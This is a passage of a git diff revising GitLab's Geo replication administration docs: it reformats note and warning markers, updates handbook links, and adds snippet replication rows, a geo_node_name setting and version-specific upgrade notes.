completed in the documented order. Before attempting the steps in this stage, [complete all prior stages](../setup/index.md#using-omnibus-gitlab). @@ -23,7 +23,7 @@ The basic steps of configuring a **secondary** node are to: You are encouraged to first read through all the steps before executing them in your testing/production environment. -NOTE: **Note:** +NOTE: **Do not** set up any custom authentication for the **secondary** nodes. This will be handled by the **primary** node. Any change that requires access to the **Admin Area** needs to be done in the **primary** node because the **secondary** node is a read-only replica. @@ -157,7 +157,7 @@ keys must be manually replicated to the **secondary** node. for file in /etc/ssh/ssh_host_*_key.pub; do ssh-keygen -lf $file; done ``` - NOTE: **Note:** + NOTE: The output for private keys and public keys command should generate the same fingerprint. 1. Restart `sshd` on your **secondary** node: diff --git a/doc/administration/geo/replication/database.md b/doc/administration/geo/replication/database.md index da5376190b9..099a73e93d8 100644 --- a/doc/administration/geo/replication/database.md +++ b/doc/administration/geo/replication/database.md @@ -3,3 +3,6 @@ redirect_to: '../setup/database.md' --- This document was moved to [another location](../setup/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/geo/replication/datatypes.md b/doc/administration/geo/replication/datatypes.md index 9e896f2c07c..0d2922c3347 100644 --- a/doc/administration/geo/replication/datatypes.md +++ b/doc/administration/geo/replication/datatypes.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Geo -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: howto --- @@ -28,13 +28,13 @@ verification methods: | Database | Application data in PostgreSQL | Native | Native | | Database | Redis | _N/A_ (*1*) | _N/A_ | | Database | Elasticsearch | Native | Native | -| Database | Personal snippets | PostgreSQL Replication | PostgreSQL Replication | -| Database | Project snippets | PostgreSQL Replication | PostgreSQL Replication | | Database | SSH public keys | PostgreSQL Replication | PostgreSQL Replication | | Git | Project repository | Geo with Gitaly | Gitaly Checksum | | Git | Project wiki repository | Geo with Gitaly | Gitaly Checksum | | Git | Project designs repository | Geo with Gitaly | Gitaly Checksum | | Git | Object pools for forked project deduplication | Geo with Gitaly | _Not implemented_ | +| Git | Project Snippets | Geo with Gitaly | _Not implemented_ | +| Git | Personal Snippets | Geo with Gitaly | _Not implemented_ | | Blobs | User uploads _(filesystem)_ | Geo with API | _Not implemented_ | | Blobs | User uploads _(object storage)_ | Geo with API/Managed (*2*) | _Not implemented_ | | Blobs | LFS objects _(filesystem)_ | Geo with API | _Not implemented_ | @@ -81,6 +81,9 @@ Each project can have at most 3 different repositories: They all live in the same shard and share the same base name with a `-wiki` and `-design` suffix for Wiki and Design Repository cases. +Besides that, there are snippet repositories. They can be connected to a project or to some specific user. +Both types will be synced to a secondary node. + ### Blobs GitLab stores files and blobs such as Issue attachments or LFS objects into either: @@ -160,7 +163,7 @@ To enable, such as for package file replication: Feature.enable(:geo_package_file_replication) ``` -DANGER: **Warning:** +WARNING: Features not on this list, or with **No** in the **Replicated** column, are not replicated on the **secondary** node. Failing over without manually replicating data from those features will cause the data to be **lost**. @@ -192,7 +195,7 @@ successfully, you must replicate their data using some other means. | [Generic packages](../../../user/packages/generic_packages/index.md) | **Yes** (13.5) | [No](https://gitlab.com/groups/gitlab-org/-/epics/1817) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_package_file_replication`, enabled by default | | [Versioned Terraform State](../../terraform_state.md) | **Yes** (13.5) | No | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_terraform_state_version_replication`, enabled by default | | [External merge request diffs](../../merge_request_diffs.md) | **Yes** (13.5) | No | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_merge_request_diff_replication`, enabled by default | -| [Versioned snippets](../../../user/snippets.md#versioned-snippets) | [No](https://gitlab.com/groups/gitlab-org/-/epics/2809) | [No](https://gitlab.com/groups/gitlab-org/-/epics/2810) | No | | +| [Versioned snippets](../../../user/snippets.md#versioned-snippets) | [**Yes** (13.7)](https://gitlab.com/groups/gitlab-org/-/epics/2809) | [No](https://gitlab.com/groups/gitlab-org/-/epics/2810) | No | | | [Server-side Git hooks](../../server_hooks.md) | [No](https://gitlab.com/groups/gitlab-org/-/epics/1867) | No | No | | | [Elasticsearch integration](../../../integration/elasticsearch.md) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/1186) | No | No | | | [GitLab Pages](../../pages/index.md) | [No](https://gitlab.com/groups/gitlab-org/-/epics/589) | No | No | | diff --git a/doc/administration/geo/replication/disable_geo.md b/doc/administration/geo/replication/disable_geo.md index dabf4499f9d..e8767a56266 100644 --- a/doc/administration/geo/replication/disable_geo.md +++ b/doc/administration/geo/replication/disable_geo.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Geo -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: howto --- diff --git a/doc/administration/geo/replication/docker_registry.md b/doc/administration/geo/replication/docker_registry.md index 5403edc69da..f92a878662e 100644 --- a/doc/administration/geo/replication/docker_registry.md +++ b/doc/administration/geo/replication/docker_registry.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Geo -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: howto --- @@ -17,7 +17,7 @@ distributed storage (`azure`, `gcs`, `s3`, `swift`, or `oss`) for your Docker Registry on the **primary** node, you can use the same storage for a **secondary** Docker Registry as well. For more information, read the [Load balancing considerations](https://docs.docker.com/registry/deploying/#load-balancing-considerations) -when deploying the Registry, and how to set up the storage driver for GitLab's +when deploying the Registry, and how to set up the storage driver for the GitLab integrated [Container Registry](../../packages/container_registry.md#use-object-storage). ## Replicating Docker Registry @@ -64,17 +64,17 @@ We need to make Docker Registry send notification events to the ] ``` - NOTE: **Note:** + NOTE: Replace `<replace_with_a_secret_token>` with a case sensitive alphanumeric string that starts with a letter. You can generate one with `< /dev/urandom tr -dc _A-Z-a-z-0-9 | head -c 32 | sed "s/^[0-9]*//"; echo` - NOTE: **Note:** + NOTE: If you use an external Registry (not the one integrated with GitLab), you must add these settings to its configuration yourself. In this case, you will also have to specify notification secret in `registry.notification_secret` section of `/etc/gitlab/gitlab.rb` file. - NOTE: **Note:** + NOTE: If you use GitLab HA, you will also have to specify the notification secret in `registry.notification_secret` section of `/etc/gitlab/gitlab.rb` file for every web node. diff --git a/doc/administration/geo/replication/external_database.md b/doc/administration/geo/replication/external_database.md index 0d0cd8a37d5..dfaf6819fa0 100644 --- a/doc/administration/geo/replication/external_database.md +++ b/doc/administration/geo/replication/external_database.md @@ -3,3 +3,6 @@ redirect_to: '../setup/external_database.md' --- This document was moved to [another location](../setup/external_database.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/geo/replication/faq.md b/doc/administration/geo/replication/faq.md index f7f391b360e..ab8199c3717 100644 --- a/doc/administration/geo/replication/faq.md +++ b/doc/administration/geo/replication/faq.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Geo -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: howto --- diff --git a/doc/administration/geo/replication/geo_validation_tests.md b/doc/administration/geo/replication/geo_validation_tests.md index c28688930b5..2d701458e66 100644 --- a/doc/administration/geo/replication/geo_validation_tests.md +++ b/doc/administration/geo/replication/geo_validation_tests.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Geo -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: howto --- diff --git a/doc/administration/geo/replication/high_availability.md b/doc/administration/geo/replication/high_availability.md index 214f15b7565..1da4246db1f 100644 --- a/doc/administration/geo/replication/high_availability.md +++ b/doc/administration/geo/replication/high_availability.md @@ -3,3 +3,6 @@ redirect_to: 'multiple_servers.md' --- This document was moved to [another location](multiple_servers.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/geo/replication/img/geo_node_dashboard.png b/doc/administration/geo/replication/img/geo_node_dashboard.png Binary files differindex 53ca4767c5b..8b9aceba825 100644 --- a/doc/administration/geo/replication/img/geo_node_dashboard.png +++ b/doc/administration/geo/replication/img/geo_node_dashboard.png diff --git a/doc/administration/geo/replication/img/geo_node_healthcheck.png b/doc/administration/geo/replication/img/geo_node_healthcheck.png Binary files differdeleted file mode 100644 index 33a31f7ab49..00000000000 --- a/doc/administration/geo/replication/img/geo_node_healthcheck.png +++ /dev/null diff --git a/doc/administration/geo/replication/index.md b/doc/administration/geo/replication/index.md index 5e9dd73ecc5..955e05491d2 100644 --- a/doc/administration/geo/replication/index.md +++ b/doc/administration/geo/replication/index.md @@ -3,3 +3,6 @@ redirect_to: '../index.md' --- This document was moved to [another location](../index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/geo/replication/location_aware_git_url.md b/doc/administration/geo/replication/location_aware_git_url.md index 82fda8b0fc2..f2cf8c9bda0 100644 --- a/doc/administration/geo/replication/location_aware_git_url.md +++ b/doc/administration/geo/replication/location_aware_git_url.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Geo -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: howto --- @@ -18,7 +18,7 @@ Though these instructions use [AWS Route53](https://aws.amazon.com/route53/), other services such as [Cloudflare](https://www.cloudflare.com/) could be used as well. -NOTE: **Note:** +NOTE: You can also use a load balancer to distribute web UI or API traffic to [multiple Geo **secondary** nodes](../../../user/admin_area/geo_nodes.md#multiple-secondary-nodes-behind-a-load-balancer). Importantly, the **primary** node cannot yet be included. See the feature request diff --git a/doc/administration/geo/replication/multiple_servers.md b/doc/administration/geo/replication/multiple_servers.md index 7d65d2165c5..0ab972c9077 100644 --- a/doc/administration/geo/replication/multiple_servers.md +++ b/doc/administration/geo/replication/multiple_servers.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Geo -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: howto --- @@ -27,7 +27,7 @@ network topology of your deployment. The only external way to access the two Geo deployments is by HTTPS at `gitlab.us.example.com` and `gitlab.eu.example.com` in the example above. -NOTE: **Note:** +NOTE: The **primary** and **secondary** Geo deployments must be able to communicate to each other over HTTPS. ## Redis and PostgreSQL for multiple nodes @@ -37,7 +37,7 @@ Geo supports: - Redis and PostgreSQL on the **primary** node configured for multiple nodes. - Redis on **secondary** nodes configured for multiple nodes. -NOTE: **Note:** +NOTE: Support for PostgreSQL on **secondary** nodes in multi-node configuration [is planned](https://gitlab.com/groups/gitlab-org/-/epics/2536). @@ -48,7 +48,7 @@ For more information about setting up a multi-node PostgreSQL cluster and Redis [PostgreSQL](../../postgresql/replication_and_failover.md) and [Redis](../../redis/replication_and_failover.md), respectively. -NOTE: **Note:** +NOTE: It is possible to use cloud hosted services for PostgreSQL and Redis, but this is beyond the scope of this document. ## Prerequisites: Two working GitLab multi-node clusters @@ -90,7 +90,7 @@ The following steps enable a GitLab cluster to serve as the **primary** node. After making these changes, [reconfigure GitLab](../../restart_gitlab.md#omnibus-gitlab-reconfigure) so the changes take effect. -NOTE: **Note:** +NOTE: PostgreSQL and Redis should have already been disabled on the application servers, and connections from the application servers to those services on the backend servers configured, during normal GitLab multi-node set up. See @@ -136,13 +136,13 @@ documentation: - [Gitaly](../../gitaly/index.md), which will store data that is synchronized from the **primary** node. -NOTE: **Note:** +NOTE: [NFS](../../nfs.md) can be used in place of Gitaly but is not recommended. ### Step 2: Configure the main read-only replica PostgreSQL database on the **secondary** node -NOTE: **Note:** +NOTE: The following documentation assumes the database will be run on a single node only. Multi-node PostgreSQL on **secondary** nodes is [not currently supported](https://gitlab.com/groups/gitlab-org/-/epics/2536). @@ -174,6 +174,12 @@ the **primary** database. Use the following as a guide. roles ['geo_secondary_role', 'postgres_role'] ## + ## The unique identifier for the Geo node. + ## This should match the secondary's application node. + ## + gitlab_rails['geo_node_name'] = '<node_name_here>' + + ## ## Secondary address ## - replace '<secondary_node_ip>' with the public or VPC address of your Geo secondary node ## - replace '<tracking_database_ip>' with the public or VPC address of your Geo tracking database node @@ -226,7 +232,7 @@ If using an external PostgreSQL instance, refer also to ### Step 3: Configure the tracking database on the **secondary** node -NOTE: **Note:** +NOTE: This documentation assumes the tracking database will be run on only a single machine, rather than as a PostgreSQL cluster. @@ -359,14 +365,14 @@ then make the following modifications: registry['gid'] = 9002 ``` -NOTE: **Note:** +NOTE: If you had set up PostgreSQL cluster using the omnibus package and you had set up `postgresql['sql_user_password'] = 'md5 digest of secret'` setting, keep in mind that `gitlab_rails['db_password']` and `geo_secondary['db_password']` mentioned above contains the plaintext passwords. This is used to let the Rails servers connect to the databases. -NOTE: **Note:** +NOTE: Make sure that current node IP is listed in `postgresql['md5_auth_cidr_addresses']` setting of your remote database. After making these changes [Reconfigure GitLab](../../restart_gitlab.md#omnibus-gitlab-reconfigure) so the changes take effect. diff --git a/doc/administration/geo/replication/object_storage.md b/doc/administration/geo/replication/object_storage.md index 3f5ba1939b8..ce791d66b34 100644 --- a/doc/administration/geo/replication/object_storage.md +++ b/doc/administration/geo/replication/object_storage.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Geo -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: howto --- @@ -25,7 +25,7 @@ To have: > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/10586) in GitLab 12.4. -CAUTION: **Caution:** +WARNING: This is a [**beta** feature](https://about.gitlab.com/handbook/product/#beta) and is not ready yet for production use at any scale. The main limitations are a lack of testing at scale and no verification of any replicated data. **Secondary** nodes can replicate files stored on the **primary** node regardless of @@ -35,8 +35,8 @@ To enable GitLab replication, you must: 1. Go to **Admin Area > Geo**. 1. Press **Edit** on the **secondary** node. -1. Enable the **Allow this secondary node to replicate content on Object Storage** - checkbox. +1. In the **Synchronization Settings** section, find the **Allow this secondary node to replicate content on Object Storage** + checkbox to enable it. For LFS, follow the documentation to [set up LFS object storage](../../lfs/index.md#storing-lfs-objects-in-remote-object-storage). diff --git a/doc/administration/geo/replication/remove_geo_node.md b/doc/administration/geo/replication/remove_geo_node.md index 2b01231241c..519b93b447b 100644 --- a/doc/administration/geo/replication/remove_geo_node.md +++ b/doc/administration/geo/replication/remove_geo_node.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Geo -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: howto --- @@ -42,7 +42,7 @@ Once GitLab has been uninstalled from the **secondary** node, the replication sl sudo gitlab-psql ``` - NOTE: **Note:** + NOTE: Using `gitlab-rails dbconsole` will not work, because managing replication slots requires superuser permissions. 1. Find the name of the relevant replication slot. This is the slot that is specified with `--slot-name` when running the replicate command: `gitlab-ctl replicate-geo-database`. diff --git a/doc/administration/geo/replication/security_review.md b/doc/administration/geo/replication/security_review.md index 28b8c8a9d51..7c15662340c 100644 --- a/doc/administration/geo/replication/security_review.md +++ b/doc/administration/geo/replication/security_review.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Geo -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: howto --- @@ -33,7 +33,7 @@ from [owasp.org](https://owasp.org/). ### How can the data be classified into categories according to its sensitivity? -- GitLab’s model of sensitivity is centered around public vs. internal vs. +- The GitLab model of sensitivity is centered around public vs. internal vs. private projects. Geo replicates them all indiscriminately. “Selective sync” exists for files and repositories (but not database content), which would permit only less-sensitive projects to be replicated to a **secondary** node if desired. diff --git a/doc/administration/geo/replication/troubleshooting.md b/doc/administration/geo/replication/troubleshooting.md index 15e3d3ff0a8..2c0160ed02a 100644 --- a/doc/administration/geo/replication/troubleshooting.md +++ b/doc/administration/geo/replication/troubleshooting.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Geo -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: howto --- @@ -35,7 +35,7 @@ to help identify if something is wrong: - Is the node's secondary tracking database connected? - Is the node's secondary tracking database up-to-date? - + For information on how to resolve common errors reported from the UI, see [Fixing Common Errors](#fixing-common-errors). @@ -308,7 +308,8 @@ log data to build up in `pg_xlog`. Removing the unused slots can reduce the amou sudo gitlab-psql ``` - Note: **Note:** Using `gitlab-rails dbconsole` will not work, because managing replication slots requires superuser permissions. + NOTE: + Using `gitlab-rails dbconsole` will not work, because managing replication slots requires superuser permissions. 1. View your replication slots with: @@ -425,6 +426,11 @@ GitLab you are running. GitLab versions 11.11.x or 12.0.x are affected by To resolve the issue, upgrade to GitLab 12.1 or newer. +### Failures during backfill + +During a [backfill](../index.md#backfill), failures are scheduled to be retried at the end +of the backfill queue, therefore these failures only clear up **after** the backfill completes. + ### Resetting Geo **secondary** node replication If you get a **secondary** node in a broken state and want to reset the replication state, @@ -461,13 +467,13 @@ to start again from scratch, there are a few steps that can help you: chown git:git /var/opt/gitlab/git-data/repositories ``` - TIP: **Tip:** + NOTE: You may want to remove the `/var/opt/gitlab/git-data/repositories.old` in the future as soon as you confirmed that you don't need it anymore, to save disk space. 1. _(Optional)_ Rename other data folders and create new ones - CAUTION: **Caution:** + WARNING: You may still have files on the **secondary** node that have been removed from **primary** node but removal have not been reflected. If you skip this step, they will never be removed from this Geo node. diff --git a/doc/administration/geo/replication/tuning.md b/doc/administration/geo/replication/tuning.md index fe0b189863c..183180e5ade 100644 --- a/doc/administration/geo/replication/tuning.md +++ b/doc/administration/geo/replication/tuning.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Geo -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: howto --- diff --git a/doc/administration/geo/replication/updating_the_geo_nodes.md b/doc/administration/geo/replication/updating_the_geo_nodes.md index af59e45250c..ff3a1e8689b 100644 --- a/doc/administration/geo/replication/updating_the_geo_nodes.md +++ b/doc/administration/geo/replication/updating_the_geo_nodes.md @@ -1,13 +1,13 @@ --- stage: Enablement group: Geo -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: howto --- # Updating the Geo nodes **(PREMIUM ONLY)** -CAUTION: **Warning:** +WARNING: Read these sections carefully before updating your Geo nodes. Not following version-specific update steps may result in unexpected downtime. If you have any specific questions, [contact Support](https://about.gitlab.com/support/#contact-support). @@ -20,7 +20,7 @@ Updating Geo nodes involves performing: ## General update steps -NOTE: **Note:** +NOTE: These general update steps are not intended for [high-availability deployments](https://docs.gitlab.com/omnibus/update/README.html#multi-node--ha-deployment), and will cause downtime. If you want to avoid downtime, consider using [zero downtime updates](https://docs.gitlab.com/omnibus/update/README.html#zero-downtime-updates). To update the Geo nodes when a new GitLab version is released, update **primary** diff --git a/doc/administration/geo/replication/using_a_geo_server.md b/doc/administration/geo/replication/using_a_geo_server.md index aeed5a44b30..743b1b384db 100644 --- a/doc/administration/geo/replication/using_a_geo_server.md +++ b/doc/administration/geo/replication/using_a_geo_server.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Geo -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: howto --- diff --git a/doc/administration/geo/replication/version_specific_updates.md b/doc/administration/geo/replication/version_specific_updates.md index 9ea5283812e..0d8eba555ab 100644 --- a/doc/administration/geo/replication/version_specific_updates.md +++ b/doc/administration/geo/replication/version_specific_updates.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Geo -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: howto --- @@ -11,6 +11,10 @@ Check this document if it includes instructions for the version you are updating These steps go together with the [general steps](updating_the_geo_nodes.md#general-update-steps) for updating Geo nodes. +## Updating to GitLab 13.5 + +In GitLab 13.5, there is a [regression that prevents viewing a list of container repositories and registries](https://gitlab.com/gitlab-org/gitlab/-/issues/285475) on Geo secondaries. This issue is fixed in GitLab 13.6.1 and later. + ## Updating to GitLab 13.3 In GitLab 13.3, Geo removed the PostgreSQL [Foreign Data Wrapper](https://www.postgresql.org/docs/11/postgres-fdw.html) dependency for the tracking database. @@ -24,7 +28,7 @@ DROP SERVER gitlab_secondary CASCADE; DROP EXTENSION IF EXISTS postgres_fdw; ``` -DANGER: **Warning:** +WARNING: In GitLab 13.3, promoting a secondary node to a primary while the secondary is paused fails. Do not pause replication before promoting a secondary. If the node is paused, be sure to resume before promoting. To avoid this issue, @@ -50,7 +54,7 @@ the recommended procedure, see the ## Updating to GitLab 12.9 -CAUTION: **Warning:** +WARNING: GitLab 12.9.0 through GitLab 12.9.3 are affected by [a bug that stops repository verification](https://gitlab.com/gitlab-org/gitlab/-/issues/213523). The issue is fixed in GitLab 12.9.4. Upgrade to GitLab 12.9.4 or later. @@ -81,7 +85,7 @@ sudo touch /etc/gitlab/disable-postgresql-upgrade ## Updating to GitLab 12.7 -DANGER: **Warning:** +WARNING: Only upgrade to GitLab 12.7.5 or later. Do not upgrade to versions 12.7.0 through 12.7.4 because there is [an initialization order bug](https://gitlab.com/gitlab-org/gitlab/-/issues/199672) that causes Geo @@ -141,7 +145,7 @@ sudo touch /etc/gitlab/disable-postgresql-upgrade ## Updating to GitLab 12.3 -DANGER: **Warning:** +WARNING: If the existing PostgreSQL server version is 9.6.x, it is recommended to upgrade to GitLab 12.4 or later. By default, GitLab 12.3 attempts to update the embedded PostgreSQL server from 9.6 to 10.9. In certain circumstances, it will @@ -155,7 +159,7 @@ For the recommended procedure, see the ## Updating to GitLab 12.2 -DANGER: **Warning:** +WARNING: If the existing PostgreSQL server version is 9.6.x, it is recommended to upgrade to GitLab 12.4 or later. By default, GitLab 12.2 attempts to update the embedded PostgreSQL server from 9.6 to 10.9. In certain circumstances, it will @@ -185,7 +189,7 @@ The restart avoids a version mismatch when PostgreSQL tries to load the FDW exte ## Updating to GitLab 12.1 -DANGER: **Warning:** +WARNING: If the existing PostgreSQL server version is 9.6.x, it is recommended to upgrade to GitLab 12.4 or later. By default, GitLab 12.1 attempts to update the embedded PostgreSQL server from 9.6 to 10.9. In certain circumstances, it will @@ -199,14 +203,14 @@ For the recommended procedure, see the ## Updating to GitLab 12.0 -CAUTION: **Warning:** +WARNING: This version is affected by a [bug that results in new LFS objects not being replicated to Geo secondary nodes](https://gitlab.com/gitlab-org/gitlab/-/issues/32696). The issue is fixed in GitLab 12.1; be sure to upgrade to GitLab 12.1 or later. ## Updating to GitLab 11.11 -CAUTION: **Warning:** +WARNING: This version is affected by a [bug that results in new LFS objects not being replicated to Geo secondary nodes](https://gitlab.com/gitlab-org/gitlab/-/issues/32696). The issue is fixed in GitLab 12.1; be sure to upgrade to GitLab 12.1 or later. @@ -372,7 +376,7 @@ the now-unused SSH keys from your secondaries, as they may cause problems if the ### Hashed Storage -CAUTION: **Warning:** +WARNING: Hashed storage is in **Alpha**. It is considered experimental and not production-ready. See [Hashed Storage](../../repository_storage_types.md) for more detail. @@ -383,7 +387,7 @@ migrated we recommend leaving Hashed Storage enabled. ## Updating to GitLab 10.1 -CAUTION: **Warning:** +WARNING: Hashed storage is in **Alpha**. It is considered experimental and not production-ready. See [Hashed Storage](../../repository_storage_types.md) for more detail. diff --git a/doc/administration/geo/setup/database.md b/doc/administration/geo/setup/database.md index 24e55d26997..9778e08a30b 100644 --- a/doc/administration/geo/setup/database.md +++ b/doc/administration/geo/setup/database.md @@ -1,19 +1,19 @@ --- stage: Enablement group: Geo -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: howto --- # Geo database replication **(PREMIUM ONLY)** -NOTE: **Note:** +NOTE: If your GitLab installation uses external (not managed by Omnibus) PostgreSQL instances, the Omnibus roles will not be able to perform all necessary configuration steps. In this case, [follow the Geo with external PostgreSQL instances document instead](external_database.md). -NOTE: **Note:** +NOTE: The stages of the setup process must be completed in the documented order. Before attempting the steps in this stage, [complete all prior stages](../setup/index.md#using-omnibus-gitlab). @@ -44,7 +44,7 @@ The following guide assumes that: you have a new **secondary** server set up with the same versions of the OS, PostgreSQL, and GitLab on all nodes. -CAUTION: **Warning:** +WARNING: Geo works with streaming replication. Logical replication is not supported at this time. There is an [issue where support is being discussed](https://gitlab.com/gitlab-org/gitlab/-/issues/7420). @@ -79,7 +79,7 @@ There is an [issue where support is being discussed](https://gitlab.com/gitlab-o 1. GitLab 10.4 and up only: Do the following to make sure the `gitlab` database user has a password defined: - NOTE: **Note:** + NOTE: Until FDW settings are removed in GitLab version 14.0, avoid using single or double quotes in the password for PostgreSQL as that will lead to errors when reconfiguring. @@ -134,7 +134,7 @@ There is an [issue where support is being discussed](https://gitlab.com/gitlab-o connect to the **primary** node's database. For this reason, we need the address of each node. - NOTE: **Note:** + NOTE: For external PostgreSQL instances, see [additional instructions](external_database.md). If you are using a cloud provider, you can lookup the addresses for each @@ -151,7 +151,7 @@ There is an [issue where support is being discussed](https://gitlab.com/gitlab-o ## ## Public address ## - echo "External address: $(curl --silent ipinfo.io/ip)" + echo "External address: $(curl --silent "ipinfo.io/ip")" ``` In most cases, the following addresses will be used to configure GitLab @@ -171,7 +171,7 @@ There is an [issue where support is being discussed](https://gitlab.com/gitlab-o corresponding to the given address. See [the PostgreSQL documentation](https://www.postgresql.org/docs/11/runtime-config-connection.html) for more details. - NOTE: **Note:** + NOTE: If you need to use `0.0.0.0` or `*` as the listen_address, you will also need to add `127.0.0.1/32` to the `postgresql['md5_auth_cidr_addresses']` setting, to allow Rails to connect through `127.0.0.1`. For more information, see [omnibus-5258](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5258). @@ -290,7 +290,7 @@ There is an [issue where support is being discussed](https://gitlab.com/gitlab-o gitlab-ctl stop sidekiq ``` - NOTE: **Note:** + NOTE: This step is important so we don't try to execute anything before the node is fully configured. 1. [Check TCP connectivity](../../raketasks/maintenance.md) to the **primary** node's PostgreSQL server: @@ -299,7 +299,7 @@ There is an [issue where support is being discussed](https://gitlab.com/gitlab-o gitlab-rake gitlab:tcp_check[<primary_node_ip>,5432] ``` - NOTE: **Note:** + NOTE: If this step fails, you may be using the wrong IP address, or a firewall may be preventing access to the server. Check the IP address, paying close attention to the difference between public and private addresses and ensure @@ -404,7 +404,7 @@ needed files for streaming replication. The directories used are the defaults that are set up in Omnibus. If you have changed any defaults, configure it as you see fit replacing the directories and paths. -CAUTION: **Warning:** +WARNING: Make sure to run this on the **secondary** server as it removes all PostgreSQL's data before running `pg_basebackup`. @@ -421,7 +421,7 @@ data before running `pg_basebackup`. 1. Execute the command below to start a backup/restore and begin the replication - CAUTION: **Warning:** + WARNING: Each Geo **secondary** node must have its own unique replication slot name. Using the same slot name between two secondaries will break PostgreSQL replication. @@ -431,14 +431,9 @@ data before running `pg_basebackup`. --host=<primary_node_ip> ``` - NOTE: **Note:** + NOTE: Replication slot names must only contain lowercase letters, numbers, and the underscore character. - NOTE: **Note:** - In GitLab 13.4, a seed project is added when GitLab is first installed. This makes it necessary to pass `--force` even - on 